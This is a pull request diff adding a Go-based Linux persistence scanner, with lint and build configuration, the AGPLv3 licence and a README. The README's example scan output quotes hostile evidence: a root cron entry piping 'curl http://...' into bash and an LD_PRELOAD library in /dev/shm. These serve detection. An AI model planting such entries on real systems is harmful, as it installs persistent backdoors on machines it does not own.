Merge pull request #176 from CarterPerez-dev/project/systemd-persistence-scanner

Project/systemd persistence scanner

PROJECTS/beginner/systemd-persistence-scanner/.gitignore

@@ -0,0 +1,5 @@
+docs/
+bin/
+/sentinel
+*.exe
+*.out

PROJECTS/beginner/systemd-persistence-scanner/.golangci.yml

@@ -0,0 +1,79 @@
+# ©AngelaMos | 2026
+# .golangci.yml
+
+version: "2"
+
+linters:
+  default: none
+  enable:
+    - errcheck
+    - govet
+    - gosec
+    - bodyclose
+    - nilerr
+    - errorlint
+    - exhaustive
+    - gocritic
+    - funlen
+    - gocognit
+    - dupl
+    - goconst
+    - ineffassign
+    - unused
+    - unconvert
+    - unparam
+    - testifylint
+    - fatcontext
+
+  exclusions:
+    paths:
+      - vendor
+      - testdata
+    rules:
+      - path: _test\.go
+        linters:
+          - funlen
+          - dupl
+          - goconst
+
+  settings:
+    errcheck:
+      check-type-assertions: true
+      check-blank: true
+
+    funlen:
+      lines: 100
+      statements: 50
+
+    gocognit:
+      min-complexity: 20
+
+    govet:
+      enable-all: true
+      disable:
+        - fieldalignment
+
+    gosec:
+      excludes:
+        - G104
+
+issues:
+  max-same-issues: 50
+
+formatters:
+  enable:
+    - gci
+    - gofumpt
+    - golines
+  settings:
+    golines:
+      max-len: 80
+      reformat-tags: true
+    gci:
+      sections:
+        - standard
+        - default
+        - prefix(github.com/CarterPerez-dev)
+      custom-order: true
+    gofumpt:
+      extra-rules: true

PROJECTS/beginner/systemd-persistence-scanner/Justfile

@@ -0,0 +1,133 @@
+# ©AngelaMos | 2026
+# Justfile
+
+set export
+set shell := ["bash", "-uc"]
+
+project := file_name(justfile_directory())
+version := `git describe --tags --always 2>/dev/null || echo "dev"`
+
+# =============================================================================
+# Default
+# =============================================================================
+
+default:
+    @just --list --unsorted
+
+# =============================================================================
+# Linting and Formatting
+# =============================================================================
+
+[group('lint')]
+lint *ARGS:
+    golangci-lint run --timeout=5m {{ARGS}}
+
+[group('lint')]
+lint-fix:
+    golangci-lint run --timeout=5m --fix
+
+[group('lint')]
+format:
+    golangci-lint fmt
+
+[group('lint')]
+tidy:
+    go mod tidy
+
+[group('lint')]
+vet:
+    go vet ./...
+
+# =============================================================================
+# Testing
+# =============================================================================
+
+[group('test')]
+test *ARGS:
+    go test -race ./... {{ARGS}}
+
+[group('test')]
+test-v *ARGS:
+    go test -race -v ./... {{ARGS}}
+
+[group('test')]
+cover:
+    go test -race -cover ./...
+
+# =============================================================================
+# CI / Quality
+# =============================================================================
+
+[group('ci')]
+ci: lint test
+    @echo "All checks passed."
+
+[group('ci')]
+check: lint vet
+
+# =============================================================================
+# Development
+# =============================================================================
+
+[group('dev')]
+run *ARGS:
+    go run ./cmd/sentinel {{ARGS}}
+
+[group('dev')]
+dev-scan:
+    go run ./cmd/sentinel scan
+
+[group('dev')]
+dev-scan-json:
+    go run ./cmd/sentinel scan --json
+
+[group('dev')]
+dev-testdata:
+    go run ./cmd/sentinel scan --root testdata
+
+[group('dev')]
+dev-baseline-save:
+    go run ./cmd/sentinel baseline save
+
+[group('dev')]
+dev-baseline-diff:
+    go run ./cmd/sentinel baseline diff
+
+# =============================================================================
+# Build (Production)
+# =============================================================================
+
+[group('prod')]
+build:
+    go build -ldflags="-s -w" -o bin/sentinel ./cmd/sentinel
+    @echo "Built: bin/sentinel ($(du -h bin/sentinel | cut -f1))"
+
+[group('prod')]
+build-static:
+    CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o bin/sentinel ./cmd/sentinel
+    @echo "Built static: bin/sentinel ($(du -h bin/sentinel | cut -f1))"
+
+[group('prod')]
+build-debug:
+    go build -o bin/sentinel ./cmd/sentinel
+
+[group('prod')]
+install:
+    go install ./cmd/sentinel
+
+# =============================================================================
+# Utilities
+# =============================================================================
+
+[group('util')]
+info:
+    @echo "Project:  {{project}}"
+    @echo "Version:  {{version}}"
+    @echo "Go:       $(go version | cut -d' ' -f3)"
+    @echo "OS:       {{os()}} ({{arch()}})"
+    @echo "Module:   $(head -1 go.mod | cut -d' ' -f2)"
+
+[group('util')]
+clean:
+    -rm -rf bin/
+    @echo "Cleaned build artifacts."

PROJECTS/beginner/systemd-persistence-scanner/LICENSE

@@ -0,0 +1,661 @@
+                    GNU AFFERO GENERAL PUBLIC LICENSE
+                       Version 3, 19 November 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The GNU Affero General Public License is a free, copyleft license for
+software and other kinds of works, specifically designed to ensure
+cooperation with the community in the case of network server software.
+
+  The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works.  By contrast,
+our General Public Licenses are intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+  Developers that use our General Public Licenses protect your rights
+with two steps: (1) assert copyright on the software, and (2) offer
+you this License which gives you legal permission to copy, distribute
+and/or modify the software.
+
+  A secondary benefit of defending all users' freedom is that
+improvements made in alternate versions of the program, if they
+receive widespread use, become available for other developers to
+incorporate.  Many developers of free software are heartened and
+encouraged by the resulting cooperation.  However, in the case of
+software used on network servers, this result may fail to come about.
+The GNU General Public License permits making a modified version and
+letting the public access it on a server without ever releasing its
+source code to the public.
+
+  The GNU Affero General Public License is designed specifically to
+ensure that, in such cases, the modified source code becomes available
+to the community.  It requires the operator of a network server to
+provide the source code of the modified version running there to the
+users of that server.  Therefore, public use of a modified version, on
+a publicly accessible server, gives the public access to the source
+code of the modified version.
+
+  An older license, called the Affero General Public License and
+published by Affero, was designed to accomplish similar goals.  This is
+a different license, not a version of the Affero GPL, but Affero has
+released a new version of the Affero GPL which permits relicensing under
+this license.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                       TERMS AND CONDITIONS
+
+  0. Definitions.
+
+  "This License" refers to version 3 of the GNU Affero General Public License.
+
+  "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+  "The Program" refers to any copyrightable work licensed under this
+License.  Each licensee is addressed as "you".  "Licensees" and
+"recipients" may be individuals or organizations.
+
+  To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy.  The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+  A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+  To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy.  Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+  To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies.  Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+  An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License.  If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+  1. Source Code.
+
+  The "source code" for a work means the preferred form of the work
+for making modifications to it.  "Object code" means any non-source
+form of a work.
+
+  A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+  The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form.  A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+  The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities.  However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work.  For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+  The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+  The Corresponding Source for a work in source code form is that
+same work.
+
+  2. Basic Permissions.
+
+  All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met.  This License explicitly affirms your unlimited
+permission to run the unmodified Program.  The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work.  This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+  You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force.  You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright.  Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+  Conveying under any other circumstances is permitted solely under
+the conditions stated below.  Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+  3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+  No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+  When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+  4. Conveying Verbatim Copies.
+
+  You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+  You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+  5. Conveying Modified Source Versions.
+
+  You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+    a) The work must carry prominent notices stating that you modified
+    it, and giving a relevant date.
+
+    b) The work must carry prominent notices stating that it is
+    released under this License and any conditions added under section
+    7.  This requirement modifies the requirement in section 4 to
+    "keep intact all notices".
+
+    c) You must license the entire work, as a whole, under this
+    License to anyone who comes into possession of a copy.  This
+    License will therefore apply, along with any applicable section 7
+    additional terms, to the whole of the work, and all its parts,
+    regardless of how they are packaged.  This License gives no
+    permission to license the work in any other way, but it does not
+    invalidate such permission if you have separately received it.
+
+    d) If the work has interactive user interfaces, each must display
+    Appropriate Legal Notices; however, if the Program has interactive
+    interfaces that do not display Appropriate Legal Notices, your
+    work need not make them do so.
+
+  A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit.  Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+  6. Conveying Non-Source Forms.
+
+  You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+    a) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by the
+    Corresponding Source fixed on a durable physical medium
+    customarily used for software interchange.
+
+    b) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by a
+    written offer, valid for at least three years and valid for as
+    long as you offer spare parts or customer support for that product
+    model, to give anyone who possesses the object code either (1) a
+    copy of the Corresponding Source for all the software in the
+    product that is covered by this License, on a durable physical
+    medium customarily used for software interchange, for a price no
+    more than your reasonable cost of physically performing this
+    conveying of source, or (2) access to copy the
+    Corresponding Source from a network server at no charge.
+
+    c) Convey individual copies of the object code with a copy of the
+    written offer to provide the Corresponding Source.  This
+    alternative is allowed only occasionally and noncommercially, and
+    only if you received the object code with such an offer, in accord
+    with subsection 6b.
+
+    d) Convey the object code by offering access from a designated
+    place (gratis or for a charge), and offer equivalent access to the
+    Corresponding Source in the same way through the same place at no
+    further charge.  You need not require recipients to copy the
+    Corresponding Source along with the object code.  If the place to
+    copy the object code is a network server, the Corresponding Source
+    may be on a different server (operated by you or a third party)
+    that supports equivalent copying facilities, provided you maintain
+    clear directions next to the object code saying where to find the
+    Corresponding Source.  Regardless of what server hosts the
+    Corresponding Source, you remain obligated to ensure that it is
+    available for as long as needed to satisfy these requirements.
+
+    e) Convey the object code using peer-to-peer transmission, provided
+    you inform other peers where the object code and Corresponding
+    Source of the work are being offered to the general public at no
+    charge under subsection 6d.
+
+  A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+  A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling.  In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage.  For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product.  A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+  "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source.  The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+  If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information.  But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+  The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed.  Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+  Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+  7. Additional Terms.
+
+  "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law.  If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+  When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it.  (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.)  You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+  Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+    a) Disclaiming warranty or limiting liability differently from the
+    terms of sections 15 and 16 of this License; or
+
+    b) Requiring preservation of specified reasonable legal notices or
+    author attributions in that material or in the Appropriate Legal
+    Notices displayed by works containing it; or
+
+    c) Prohibiting misrepresentation of the origin of that material, or
+    requiring that modified versions of such material be marked in
+    reasonable ways as different from the original version; or
+
+    d) Limiting the use for publicity purposes of names of licensors or
+    authors of the material; or
+
+    e) Declining to grant rights under trademark law for use of some
+    trade names, trademarks, or service marks; or
+
+    f) Requiring indemnification of licensors and authors of that
+    material by anyone who conveys the material (or modified versions of
+    it) with contractual assumptions of liability to the recipient, for
+    any liability that these contractual assumptions directly impose on
+    those licensors and authors.
+
+  All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10.  If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term.  If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+  If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+  Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+  8. Termination.
+
+  You may not propagate or modify a covered work except as expressly
+provided under this License.  Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+  However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+  Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+  Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License.  If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+  9. Acceptance Not Required for Having Copies.
+
+  You are not required to accept this License in order to receive or
+run a copy of the Program.  Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance.  However,
+nothing other than this License grants you permission to propagate or
+modify any covered work.  These actions infringe copyright if you do
+not accept this License.  Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+  10. Automatic Licensing of Downstream Recipients.
+
+  Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License.  You are not responsible
+for enforcing compliance by third parties with this License.
+
+  An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations.  If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+  You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License.  For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+  11. Patents.
+
+  A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based.  The
+work thus licensed is called the contributor's "contributor version".
+
+  A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version.  For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+  Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+  In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement).  To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+  If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients.  "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+  If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+  A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License.  You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+  Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+  12. No Surrender of Others' Freedom.
+
+  If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all.  For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+  13. Remote Network Interaction; Use with the GNU General Public License.
+
+  Notwithstanding any other provision of this License, if you modify the
+Program, your modified version must prominently offer all users
+interacting with it remotely through a computer network (if your version
+supports such interaction) an opportunity to receive the Corresponding
+Source of your version by providing access to the Corresponding Source
+from a network server at no charge, through some standard or customary
+means of facilitating copying of software.  This Corresponding Source
+shall include the Corresponding Source for any work covered by version 3
+of the GNU General Public License that is incorporated pursuant to the
+following paragraph.
+
+  Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU General Public License into a single
+combined work, and to convey the resulting work.  The terms of this
+License will continue to apply to the part which is the covered work,
+but the work with which it is combined will remain governed by version
+3 of the GNU General Public License.
+
+  14. Revised Versions of this License.
+
+  The Free Software Foundation may publish revised and/or new versions of
+the GNU Affero General Public License from time to time.  Such new versions
+will be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+  Each version is given a distinguishing version number.  If the
+Program specifies that a certain numbered version of the GNU Affero General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation.  If the Program does not specify a version number of the
+GNU Affero General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+  If the Program specifies that a proxy can decide which future
+versions of the GNU Affero General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+  Later license versions may give you additional or different
+permissions.  However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+  15. Disclaimer of Warranty.
+
+  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. Limitation of Liability.
+
+  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+  17. Interpretation of Sections 15 and 16.
+
+  If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software: you can redistribute it and/or modify
+    it under the terms of the GNU Affero General Public License as published
+    by the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU Affero General Public License for more details.
+
+    You should have received a copy of the GNU Affero General Public License
+    along with this program.  If not, see <https://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+  If your software can interact with users remotely through a computer
+network, you should also make sure that it provides a way for users to
+get its source.  For example, if your program is a web application, its
+interface could display a "Source" link that leads users to an archive
+of the code.  There are many ways you could offer source, and different
+solutions will be better for different programs; see section 13 for the
+specific requirements.
+
+  You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU AGPL, see
+<https://www.gnu.org/licenses/>.

PROJECTS/beginner/systemd-persistence-scanner/README.md

@@ -0,0 +1,102 @@
+```regex
+███████╗███████╗███╗   ██╗████████╗
+██╔════╝██╔════╝████╗  ██║╚══██╔══╝
+███████╗█████╗  ██╔██╗ ██║   ██║
+╚════██║██╔══╝  ██║╚██╗██║   ██║
+███████║███████╗██║ ╚████║   ██║
+╚══════╝╚══════╝╚═╝  ╚═══╝   ╚═╝
+```
+
+[![Cybersecurity Projects](https://img.shields.io/badge/Cybersecurity--Projects-Project%20%2322-red?style=flat&logo=github)](https://github.com/CarterPerez-dev/Cybersecurity-Projects/tree/main/PROJECTS/beginner/systemd-persistence-scanner)
+[![Go](https://img.shields.io/badge/Go-1.25+-00ADD8?style=flat&logo=go&logoColor=white)](https://go.dev)
+[![License: AGPLv3](https://img.shields.io/badge/License-AGPL_v3-purple.svg)](https://www.gnu.org/licenses/agpl-3.0)
+[![MITRE ATT&CK](https://img.shields.io/badge/MITRE_ATT%26CK-Persistence-orange?style=flat)](https://attack.mitre.org/tactics/TA0003/)
+
+> Linux persistence mechanism scanner. Drop a single binary, find every backdoor.
+
+*This is a quick overview. Security theory, architecture, and full walkthroughs are in the [learn modules](#learn).*
+
+## What It Does
+
+- Scans 12+ persistence mechanism categories: systemd, cron, shell profiles, SSH, LD_PRELOAD, kernel modules, udev rules, init.d, XDG autostart, at jobs, MOTD scripts, and PAM modules
+- Applies heuristic detection for reverse shells, download-and-execute chains, encoded payloads, alias hijacking, and temp directory abuse
+- Severity scoring from info to critical with MITRE ATT&CK technique mapping on every finding
+- Baseline mode saves a clean-system snapshot, then highlights only new findings on subsequent runs
+- Compiles to a single static binary with zero dependencies for portable deployment
+
+## Quick Start
+
+```bash
+go install github.com/CarterPerez-dev/sentinel/cmd/sentinel@latest
+sentinel scan
+```
+
+> [!TIP]
+> This project uses [`just`](https://github.com/casey/just) as a command runner. Type `just` to see all available commands.
+>
+> Install: `curl -sSf https://just.systems/install.sh | bash -s -- --to ~/.local/bin`
+
+## Commands
+
+| Command | Description |
+|---------|-------------|
+| `sentinel scan` | Scan for all persistence mechanisms |
+| `sentinel scan --json` | Output results as structured JSON |
+| `sentinel scan --min-severity high` | Only show high and critical findings |
+| `sentinel scan --root /mnt/target` | Scan a mounted filesystem or chroot |
+| `sentinel baseline save` | Save current state as a clean baseline |
+| `sentinel baseline diff` | Show only new findings since baseline |
+
+## Example Output
+
+```
+  [CRITICAL] Library in ld.so.preload
+         Path: /etc/ld.so.preload
+         Evidence: /dev/shm/.evil.so
+         MITRE: T1574.006
+
+  [HIGH] Suspicious cron entry: download-and-execute chain
+         Path: /etc/cron.d/updater
+         Evidence: */5 * * * * root curl http://... | bash
+         MITRE: T1053.003
+
+  [MEDIUM] Recently modified unit file
+         Path: /etc/systemd/system/backdoor.service
+         Evidence: Modified within the last 24 hours
+         MITRE: T1543.002
+
